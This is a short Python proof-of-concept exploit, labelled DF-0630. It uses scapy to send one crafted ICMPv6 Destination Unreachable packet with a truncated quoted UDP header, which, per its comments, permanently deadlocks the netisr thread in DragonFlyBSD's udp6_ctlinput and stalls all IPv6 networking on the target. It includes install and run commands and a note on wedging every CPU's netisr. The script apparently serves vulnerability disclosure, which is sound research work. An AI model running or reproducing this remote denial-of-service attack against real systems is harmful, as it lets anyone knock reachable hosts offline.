#!/usr/bin/env python3
# DF-0630 PoC: udp6_ctlinput deadlock — remote netisr wedge via single
# crafted ICMPv6 Destination Unreachable with truncated quoted UDP header.
#
# The quoted inner IPv6 packet has nh=UDP(17) and plen=0 (zero UDP bytes),
# so udp6_ctlinput hits `return;` at udp6_usrreq.c:435 without calling
# lwkt_replymsg, permanently wedging the netisr thread that ran icmp6 input.
#
# Requires scapy and IPv6 reachability to victim.
# Install: pip install scapy  (or: pkg install py311-scapy on DragonFlyBSD)
# Run: sudo python3 udp6_ctlinput_deadlock.py <victim_v6>

from scapy.all import IPv6, ICMPv6DestUnreach, raw, send
import sys

VICTIM = sys.argv[1] if len(sys.argv) > 1 else "2001:db8::dead:beef"

# Inner (quoted "invoking") IPv6 packet: nh=UDP(17), plen=0 -> NO UDP bytes quoted.
# icmp6_notify_error computes eoff = off + 8(icmp6) + 40(ip6) and nxt=17,
# then calls udp6_ctlinput, where m->m_pkthdr.len (88) < eoff+4 (92)
# -> `return;` without lwkt_replymsg -> netisr deadlock.
inner = IPv6(src="2001:db8::1", dst=VICTIM, nh=17, fl=0, tc=0, plen=0)

pkt = IPv6(dst=VICTIM) / ICMPv6DestUnreach() / inner

print(f"Sending crafted ICMPv6 DestUnreach to {VICTIM}, total len = {len(raw(pkt))}")
print(f"Inner quoted IPv6 has nh=UDP(17), plen=0 (zero UDP bytes)")
print(f"Expected: victim netisr wedges permanently, all IPv6 network stalls")
send(pkt, count=1, inter=0)

# For an N-CPU box, run with count=N distributed across CPUs to wedge all netisrs.
# cpu0_ctlport targets cpu0, but the reply blocks whichever netisr ran icmp6 input.
